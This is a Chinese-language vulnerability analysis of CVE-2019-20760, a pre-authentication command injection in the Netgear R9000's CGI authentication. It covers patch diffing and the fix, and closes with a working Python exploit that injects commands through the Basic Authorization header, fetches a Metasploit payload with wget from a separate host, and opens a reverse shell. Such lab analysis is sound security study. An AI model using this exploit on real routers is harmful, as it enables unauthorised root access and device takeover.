漏洞分析:Netgear认证前命令注入CVE-2019-20760
漏洞分析:Netgear认证前命令注入CVE-2019-20760
IoT-vulhub上的一个漏洞,在Netgear R9000中存在一个认证前的命令注入漏洞,可以实现前台RCE。
漏洞比较简单,但出现的场景比较典型:1.用户认证过程中存在问题;2.经典sprintf-system漏洞。所以这里做一个简单的分析。
补丁diff法确定漏洞点
在手头准备两个版本的固件,一个是已经修复漏洞的R9000-V1.0.4.28版本的固件,另一个是存在漏洞的R9000-V1.0.4.26版本的固件。通过IDA中bindiff,来对比两个版本固件中的区别。
可以看到,R9000-V1.0.4.28中主要的变化,是添加了dni_system这个函数,除了新添加的这个函数之外,两版本固件主要的变化在uh_cgi_auth_check这个函数中,我们深入到uh_cgi_auth_check函数中挖掘一下。
当通过get请求访问cgi-bin后台的时候,就会调用uh_auth_check和uh_cgi_auth_check函数来进行身份验证,身份验证主要是通过校验请求头中Authorization字段来完成的。用"admin","admin123"登录,可以用Tamper Data这个firefox的插件,抓包看一下headers中的字段。
Authorization里面的值就长这个样子,"Basic"后面的字符串用base64解码一下就会看到:”admin:admin123"。
Basic YWRtaW46YWRtaW4xMjM=
接下来看一下uh_cgi_auth_check函数中是如何进行处理的。首先获取Authorization的值进行base64解码:
然后将passwd的hash值保存到文件中去。
在这个过程中,出现了sprintf-system的命令注入漏洞,我们只要在password中构造恶意的命令注入语句,写一个反弹shell进去,就可以获取路由器的root权限。
我们再来看一下这个漏洞官方是如何修复的:
来看一下,在新版本的修复中,没有继续使用sprintf-system这种传递参数执行系统命令的方式,而是使用了dni_system这个函数,这个函数实际上实现的是对execve系统调用的封装,只允许更改命令行参数,限制了通过传递参数来控制执行的命令的种类。
POC构造
输入密码的时候,构造如下语句:`touch /tmp/hellohacker`。可以看到目标机器/tmp目录下被写入了一个hellohacker的文件:
IoT-vulhub的exp,通过wget传递msf payload执行反弹shell:
#!/usr/bin/python3
from pwn import *
from threading import Thread
import requests
import base64
cmd = 'admin:'
cmd += '`'
cmd += 'wget http://192.168.2.1:8000/tools/msf -O /msf\n'
cmd += 'chmod 777 /msf\n'
cmd += '/msf'
cmd += '`'
assert(len(cmd) < 255)
cmd_b64 = base64.b64encode(cmd.encode()).decode()
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Authorization": "Basic " + cmd_b64
}
def attack():
try:
requests.get("http://192.168.2.2/cgi-bin/", headers=headers, timeout=1)
except Exception as e:
print(e)
thread = Thread(target=attack)
thread.start()
io = listen(31337)
io.wait_for_connection()
log.success("getshell")
io.interactive()
thread.join()